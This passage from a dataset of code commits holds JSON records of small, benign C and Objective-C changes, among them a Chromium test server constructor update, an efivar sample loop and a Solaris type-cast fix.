gullua\/MuPDF,knielsen\/mupdf,lamemate\/mupdf,michaelcadilhac\/pdfannot,github201407\/MuPDF,github201407\/MuPDF,isavin\/humblepdf,sebras\/mupdf,ccxvii\/mupdf,TamirEvan\/mupdf,tribals\/mupdf,FabriceSalvaire\/mupdf-cmake,wzhsunn\/mupdf,crow-misia\/mupdf,kobolabs\/mupdf,fluks\/mupdf-x11-bookmarks,flipstudio\/MuPDF,kobolabs\/mupdf,ziel\/mupdf,asbloomf\/mupdf,asbloomf\/mupdf,Kalp695\/mupdf,flipstudio\/MuPDF,cgogolin\/penandpdf,kobolabs\/mupdf,ylixir\/mupdf,lolo32\/mupdf-mirror,hackqiang\/mupdf,geetakaur\/NewApps,isavin\/humblepdf,wzhsunn\/mupdf,lolo32\/mupdf-mirror,wild0\/opened_mupdf,sebras\/mupdf,wzhsunn\/mupdf,poor-grad-student\/mupdf,hxx0215\/MuPDFMirror,geetakaur\/NewApps,lolo32\/mupdf-mirror,samturneruk\/mupdf_secure_android,ylixir\/mupdf,geetakaur\/NewApps,derek-watson\/mupdf,xiangxw\/mupdf,derek-watson\/mupdf,derek-watson\/mupdf,ylixir\/mupdf,lamemate\/mupdf,lolo32\/mupdf-mirror,issuestand\/mupdf,isavin\/humblepdf,lolo32\/mupdf-mirror,hxx0215\/MuPDFMirror,ArtifexSoftware\/mupdf,lustersir\/MuPDF,FabriceSalvaire\/mupdf-cmake,tophyr\/mupdf,MokiMobility\/muPDF,hxx0215\/MuPDFMirror,zeniko\/mupdf,michaelcadilhac\/pdfannot,tophyr\/mupdf,loungeup\/mupdf,ArtifexSoftware\/mupdf,wzhsunn\/mupdf,robamler\/mupdf-nacl,TamirEvan\/mupdf,kobolabs\/mupdf,ArtifexSoftware\/mupdf,ccxvii\/mupdf,github201407\/MuPDF,TamirEvan\/mupdf,hjiayz\/forkmupdf,nqv\/mupdf,FabriceSalvaire\/mupdf-v1.3,hackqiang\/mupdf,fluks\/mupdf-x11-bookmarks,fluks\/mupdf-x11-bookmarks,loungeup\/mupdf,asbloomf\/mupdf,michaelcadilhac\/pdfannot,ylixir\/mupdf,crow-misia\/mupdf,cgogolin\/penandpdf,hjiayz\/forkmupdf,PuzzleFlow\/mupdf,isavin\/humblepdf,ccxvii\/mupdf,sebras\/mupdf,loungeup\/mupdf,poor-grad-student\/mupdf,FabriceSalvaire\/mupdf-v1.3,clchiou\/mupdf,samturneruk\/mupdf_secure_android,hackqiang\/mupdf,lamemate\/mupdf,ccxvii\/mupdf,asbloomf\/mupdf,wild0\/opened_mupdf,samturneruk\/mupdf_secure_android,xiangxw\/mupdf,nqv\/mupdf,isavin\/humblepdf,github201407\/MuPDF,MokiMobility\/muPDF,tribals\/mupdf,knielsen\/mupdf,lolo32\/mupdf-mirror,wzhsunn\/mupdf,muennich\/mupdf,FabriceSalvaire\/mupdf-v1.3,crow-misia\/mupdf,robamler\/mupdf-nacl,poor-grad-student\/mupdf,sebras\/mupdf,benoit-pierre\/mupdf,muennich\/mupdf,hackqiang\/mupdf,hjiayz\/forkmupdf,ArtifexSoftware\/mupdf,nqv\/mupdf,fluks\/mupdf-x11-bookmarks,MokiMobility\/muPDF,asbloomf\/mupdf,ylixir\/mupdf,FabriceSalvaire\/mupdf-v1.3,sebras\/mupdf,hxx0215\/MuPDFMirror,flipstudio\/MuPDF,crow-misia\/mupdf,xiangxw\/mupdf,hxx0215\/MuPDFMirror,zeniko\/mupdf,wild0\/opened_mupdf,issuestand\/mupdf,lamemate\/mupdf,cgogolin\/penandpdf,hjiayz\/forkmupdf,lustersir\/MuPDF,fluks\/mupdf-x11-bookmarks,zeniko\/mupdf,geetakaur\/NewApps,TamirEvan\/mupdf,lamemate\/mupdf,cgogolin\/penandpdf,muennich\/mupdf,FabriceSalvaire\/mupdf-cmake,benoit-pierre\/mupdf,MokiMobility\/muPDF"}
{"commit":"1089397a1e5e33db3dc9e291f4c846c0d0dcf560","old_file":"webkit\/glue\/unittest_test_server.h","new_file":"webkit\/glue\/unittest_test_server.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n#define WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n\n#include \"net\/base\/load_flags.h\"\n#include \"net\/test\/test_server.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webkit\/appcache\/appcache_interfaces.h\"\n\nclass UnittestTestServer : public net::TestServer {\n public:\n  UnittestTestServer()\n      : net::TestServer(net::TestServer::TYPE_HTTP,\n                        FilePath(FILE_PATH_LITERAL(\"webkit\/data\"))) {\n  }\n};\n\n#endif  \/\/ WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n#define WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n\n#include \"net\/base\/load_flags.h\"\n#include \"net\/test\/test_server.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webkit\/appcache\/appcache_interfaces.h\"\n\nclass UnittestTestServer : public net::TestServer {\n public:\n  UnittestTestServer()\n      : net::TestServer(net::TestServer::TYPE_HTTP,\n                        net::TestServer::kLocalhost,\n                        FilePath(FILE_PATH_LITERAL(\"webkit\/data\"))) {\n  }\n};\n\n#endif  \/\/ WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n","subject":"Remove usage of a deprecated TestServer constructor.","message":"Remove usage of a deprecated TestServer constructor.\n\nHostname must now be explicitly specified (previously default was 127.0.0.1). See the following CL for further details:\n\nhttp:\/\/codereview.chromium.org\/9369029\/\n\nA follow-up CL will remove the deprecated constructor:\n\nhttp:\/\/codereview.chromium.org\/9431002\/\n\nBUG=114369\nTEST=everything still compiles and passes\n\n\nReview URL: http:\/\/codereview.chromium.org\/9429052\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@123095 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,keishi\/chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,rogerwang\/chromium,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,dednal\/chromium.src,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,Just-D\/chromium-1,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,patrickm\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,Just-D\/chromium-1,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,dushu1203\/chromium.src,zcbenz\/cefode-chromium,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,keishi\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,ltilve\/chromium,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,Chilledheart\/chromium,ltilve\/chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,jaruba\/chromium.src,keishi\/chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,anirudhSK\/chromium,ltilve\/chromium,ondra-novak\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,robclark\/chromium,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,keishi\/chromium,chuan9\/chromium-crosswalk,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,robclark\/chromium,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,keishi\/chromium,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,keishi\/chromium,ondra-novak\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,nacl-webkit\/chrome_deps,patrickm\/chromium.src,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,robclark\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,dednal\/chromium.src,robclark\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,markYoungH\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Chilledheart\/chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,robclark\/chromium,rogerwang\/chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,littlstar\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,rogerwang\/chromium,littlstar\/chromium.src,anirudhSK\/chromium,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,robclark\/chromium,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,rogerwang\/chromium,keishi\/chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium"}
{"commit":"0b0e8956e4779456338ced864d40de4a57e6679c","old_file":"HLT\/PHOS\/AliHLTPHOSModuleCellAverageEnergyDataStruct.h","new_file":"HLT\/PHOS\/AliHLTPHOSModuleCellAverageEnergyDataStruct.h","old_contents":"","new_contents":"#ifndef ALIHLTPHOSNODULECELLAVERAGEENERGYDATASTRUCT_H\n#define ALIHLTPHOSNODULECELLAVERAGEENERGYDATASTRUCT_H\n\n\/***************************************************************************\n * Copyright(c) 2007, ALICE Experiment at CERN, All rights reserved.       *\n *                                                                         *\n * Author: Per Thomas Hille <perthi@fys.uio.no> for the ALICE HLT Project. *\n * Contributors are mentioned in the code where appropriate.               *\n *                                                                         *\n * Permission to use, copy, modify and distribute this software and its    *\n * documentation strictly for non-commercial purposes is hereby granted    *\n * without fee, provided that the above copyright notice appears in all    *\n * copies and that both the copyright notice and this permission notice    *\n * appear in the supporting documentation. The authors make no claims      *\n * about the suitability of this software for any purpose. It is           *\n * provided \"as is\" without express or implied warranty.                   *\n **************************************************************************\/\n\n#include \"AliHLTPHOSCommonDefs.h\"\n\/\/#include \"AliHLTPHOSValidCellDataStruct.h\"\n\nstruct AliHLTPHOSModuleCellAverageEnergyDataStruct\n{\n  AliHLTUInt8_t fModuleID;\n  \/\/  AliHLTUInt16_t fCnt;\n  \/\/  AliHLTUInt16_t fValidData[N_ROWS_MOD*N_COLUMNS_MOD*N_GAINS];\n  \n  AliHLTPHOSValidCellDataStruct fValidData[N_MODULES*N_ROWS_MOD*N_COLUMNS_MOD*N_GAINS]; \n\n  Double_t fAverageEnergies[N_ROWS_MOD][N_COLUMNS_MOD][N_GAINS];\n};\n\n\n#endif\n","subject":"Structure to hold average energies for each cell. Should be sendt to OCDB via the shuttle.","message":"Structure to hold average energies for each cell. Should be sendt to\nOCDB via the shuttle.\n\n","lang":"C","license":"bsd-3-clause","repos":"alisw\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"b535267825875648947e4670043f903ed62b1e0f","old_file":"BKDeltaCalculator\/BKDeltaCalculator.h","new_file":"BKDeltaCalculator\/BKDeltaCalculator.h","old_contents":"\/\/ Copyright 2014-present 650 Industries.\n\/\/ Copyright 2014-present Andrew Toulouse.\n\n#import <Foundation\/Foundation.h>\n\n@class BKDelta;\n\ntypedef BOOL (^delta_calculator_equality_test_t)(id a, id b);\n\nconst delta_calculator_equality_test_t BKDeltaCalculatorStrictEqualityTest;\n\n@interface BKDeltaCalculator : NSObject\n\n+ (instancetype)defaultCalculator;\n\n+ (instancetype)deltaCalculatorWithEqualityTest:(delta_calculator_equality_test_t)equalityTest;\n\n- (instancetype)initWithEqualityTest:(delta_calculator_equality_test_t)equalityTest;\n\n\/**\n Resolve differences between two versions of an array.\n \n @param oldArray the array representing the \"old\" version of the array\n @param newArray the array representing the \"new\" version of the array.\n @return A delta object containing NSIndexSets representing added, moved, removed, and unchanged elements.\n *\/\n- (BKDelta *)deltaFromOldArray:(NSArray *)oldArray toNewArray:(NSArray *)newArray;\n\n@end\n","new_contents":"\/\/ Copyright 2014-present 650 Industries.\n\/\/ Copyright 2014-present Andrew Toulouse.\n\n#import <Foundation\/Foundation.h>\n\n@class BKDelta;\n\ntypedef BOOL (^delta_calculator_equality_test_t)(id a, id b);\n\nextern const delta_calculator_equality_test_t BKDeltaCalculatorStrictEqualityTest;\n\n@interface BKDeltaCalculator : NSObject\n\n+ (instancetype)defaultCalculator;\n\n+ (instancetype)deltaCalculatorWithEqualityTest:(delta_calculator_equality_test_t)equalityTest;\n\n- (instancetype)initWithEqualityTest:(delta_calculator_equality_test_t)equalityTest;\n\n\/**\n Resolve differences between two versions of an array.\n \n @param oldArray the array representing the \"old\" version of the array\n @param newArray the array representing the \"new\" version of the array.\n @return A delta object containing NSIndexSets representing added, moved, removed, and unchanged elements.\n *\/\n- (BKDelta *)deltaFromOldArray:(NSArray *)oldArray toNewArray:(NSArray *)newArray;\n\n@end\n","subject":"Add 'extern' declaration to strict equality test block","message":"Add 'extern' declaration to strict equality test block\n\nMissed this while updating for Objective-C++ compatibility","lang":"C","license":"mit","repos":"Basket\/BKDeltaCalculator"}
{"commit":"1735810236c1eed907871cbeb3d0c1d94647328f","old_file":"aux\/version-compatibility-macros.h","new_file":"aux\/version-compatibility-macros.h","old_contents":"\/\/ These macros allow writing CPP compatibility hacks in a way that makes their\n\/\/ purpose much clearer than just demanding a specific version of a library.\n\n#define APPLICATIVE_MONAD    MIN_VERSION_base(4,8,0)\n#define FOLDABLE_TRAVERSABLE MIN_VERSION_base(4,8,0)\n#define MONOID_IN_PRELUDE    MIN_VERSION_base(4,8,0)\n#define NATURAL_IN_BASE      MIN_VERSION_base(4,8,0)\n#define SEMIGROUP_IN_BASE    MIN_VERSION_base(4,8,0)\n\n#define MONAD_FAIL           MIN_VERSION_base(4,9,0)\n","new_contents":"-- These macros allow writing CPP compatibility hacks in a way that makes their\n-- purpose much clearer than just demanding a specific version of a library.\n\n#define APPLICATIVE_MONAD    MIN_VERSION_base(4,8,0)\n#define FOLDABLE_TRAVERSABLE MIN_VERSION_base(4,8,0)\n#define MONOID_IN_PRELUDE    MIN_VERSION_base(4,8,0)\n#define NATURAL_IN_BASE      MIN_VERSION_base(4,8,0)\n#define SEMIGROUP_IN_BASE    MIN_VERSION_base(4,8,0)\n\n#define MONAD_FAIL           MIN_VERSION_base(4,9,0)\n","subject":"Fix Haddock trying to render C-style comments of macro file","message":"Fix Haddock trying to render C-style comments of macro file\n","lang":"C","license":"bsd-2-clause","repos":"quchen\/prettyprinter,quchen\/prettyprinter"}
{"commit":"1c63c33fa8255a6c1a00e846a2063f04e06d80a1","old_file":"Source\/Core\/Helpers\/HCRunloopRunner.h","new_file":"Source\/Core\/Helpers\/HCRunloopRunner.h","old_contents":"\/\/  OCHamcrest by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2016 hamcrest.org. See LICENSE.txt\n\n#import <Foundation\/Foundation.h>\n\n\n\/*!\n * @abstract Runs runloop until fulfilled, or timeout is reached.\n *\/\n@interface HCRunloopRunner : NSObject\n\n- (instancetype)initWithFulfillmentBlock:(BOOL (^)())fulfillmentBlock;\n- (void)runUntilFulfilledOrTimeout:(CFTimeInterval)timeout;\n\n@end\n","new_contents":"\/\/  OCHamcrest by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2016 hamcrest.org. See LICENSE.txt\n\n#import <Foundation\/Foundation.h>\n\n\n\/*!\n * @abstract Runs runloop until fulfilled, or timeout is reached.\n * @discussion Based on http:\/\/bou.io\/CTTRunLoopRunUntil.html\n *\/\n@interface HCRunloopRunner : NSObject\n\n- (instancetype)initWithFulfillmentBlock:(BOOL (^)())fulfillmentBlock;\n- (void)runUntilFulfilledOrTimeout:(CFTimeInterval)timeout;\n\n@end\n","subject":"Add documentation link to article on runloop","message":"Add documentation link to article on runloop\n","lang":"C","license":"bsd-2-clause","repos":"hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,hamcrest\/OCHamcrest"}
{"commit":"6ef09bee374434a9912b0c59dbe2b6e370017a5d","old_file":"src\/efivar.c","new_file":"src\/efivar.c","old_contents":"\/*\n * libefivar - library for the manipulation of EFI variables\n * Copyright 2012 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public License\n * along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"efivar.h\"\n\nint main(void)\n{\n\n\treturn 0;\n}\n","new_contents":"\/*\n * libefivar - library for the manipulation of EFI variables\n * Copyright 2012 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public License\n * along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <stdio.h>\n\n#include \"efivar.h\"\n\nint main(void)\n{\n\tefi_guid_t *guid;\n\tchar *name;\n\tint rc;\n\n\twhile ((rc = efi_get_next_variable_name(&guid, &name)) > 0) {\n\t\t printf(\"name: \\\"%s\\\"\\n\", name);\n\t}\n\n\treturn 0;\n}\n","subject":"Add some sample code for efi_get_next_variable_name()","message":"Add some sample code for efi_get_next_variable_name()\n\nSigned-off-by: Peter Jones <2e0a021e603479ff81838c00c3b770daca4e0214@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"rhinstaller\/efivar,rhboot\/efivar,rhinstaller\/efivar,vathpela\/efivar-devel,android-ia\/vendor_intel_external_efivar,CyanogenMod\/android_vendor_intel_external_efivar,rhboot\/efivar"}
{"commit":"33503e0c9f42eb4c9ae15351d7afe375acb6a12b","old_file":"src\/cltime.c","new_file":"src\/cltime.c","old_contents":"\/*\n *  ClusteredPoller\n *\n *  Created by Jakob Borg.\n *  Copyright 2011 Nym Networks. See LICENSE for terms.\n *\/\n\n#include \"cltime.h\"\n#include <stddef.h>\n\n#include <sys\/time.h>\n\ncurms_t curms(void)\n{\n        struct timeval now;\n        gettimeofday(&now, NULL);\n        return now.tv_sec * 1000 + now.tv_usec \/ 1000;\n}\n","new_contents":"\/*\n *  ClusteredPoller\n *\n *  Created by Jakob Borg.\n *  Copyright 2011 Nym Networks. See LICENSE for terms.\n *\/\n\n#include \"cltime.h\"\n#include <stddef.h>\n\n#include <sys\/time.h>\n\ncurms_t curms(void)\n{\n        struct timeval now;\n        gettimeofday(&now, NULL);\n        return (curms_t) now.tv_sec * 1000 + (curms_t) now.tv_usec \/ 1000;\n}\n","subject":"Fix for Solaris type conversion.","message":"Fix for Solaris type conversion.\n","lang":"C","license":"bsd-3-clause","repos":"calmh\/ClusteredPoller,calmh\/ClusteredPoller"}
